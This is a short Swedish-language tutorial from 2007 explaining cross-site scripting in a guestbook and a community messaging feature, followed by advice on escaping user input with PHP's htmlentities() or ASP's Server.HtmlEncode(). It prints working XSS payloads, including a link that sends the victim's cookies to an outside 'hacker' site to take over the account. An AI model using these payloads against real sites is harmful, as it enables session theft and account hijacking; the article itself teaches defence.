Jag ska visa ett
exempel på hur en attack kan gå till. Vi tänker oss att du precis har
surfat in på en sajt med en slarvigt kodad gästbok, som du misstänker
är sårbar för en XSS-attack. Då kan du kontrollera om dina misstankar
stämmer genom att inkludera en liten javascriptsnutt i ett inlägg och
skicka iväg.
<script>alert(”Test”);</script>
<script>window.location="http://www.google.se";</script>
Nu
kommer alla som har javascript aktiverat i sin webbläsare och går in på gästbokssidan att automatiskt skickas till
googles hemsida, varken de vill eller inte. Dessa exempel är inte
direkt farliga för sajten utan är mest jobbiga och irriterande, men nu
ska jag visa något som är betydligt allvarligare.
Släpp tankarna
på gästboken och tänk istället att du har registerat dig på ett
webbcommunity och upptäckt att meddelandefunktionen som möjliggör
privat kontakt mellan två användare är sårbar för en attack. Du
bestämmer dig för att försöka stjäla en annan användares konto och
skickar därför ett meddelande till användaren ifråga, innehållande en
kod i stil med detta:
<a href="javascript:
document.location='http://www.minsida.se/script.php?cookie='+document.cookie;">Länk</a>
Om den utsatta besökaren nu klickar på denna länk så kommer hans/hennes cookies (som bland annat kan innhålla lösenord och annan information) sparas på "hackerns" hemsida. Allt som krävs är ett enkelt klick.
Hur skyddar jag mig?
Det är inte speciellt svårt att täppa igen XSS-hål, det svåra är att hitta dem. Lita därför aldrig på dina besökare, och kontrollera alltid data som användare skickar in, vare sig du tror att det behövs eller ej. Om du jobbar i PHP så kan du använda dig av funktionen htmlentities(), den konverterar alla "farliga tecken" till ren text.
$foo = "ASPkoll är en <b>jättebra</b> sajt!";
echo $foo;
Ovanstående kod kommer skriva ut:
Men om vi använder htmlentities() för att skriva ut variabeln så blir det såhär:
$foo = "ASPkoll är en <b>jättebra</b> sajt!";
echo htmlentities($foo);
Eftersom jag inte är någon "ASP-människa" så är jag inte helt säker, men jag tror att det finns en funktion som heter Server.HtmlEncode() i ASP, som gör i princip samma sak. Nu är det bekräftat av Roosweb, tack!
Skapades: 2007-12-20 14:24:06
Skribent: frisko
Lästs 1146 gånger
Betyg: 0 (artikeln har endast 0 röster, det krävs minst 5 för ett betyg)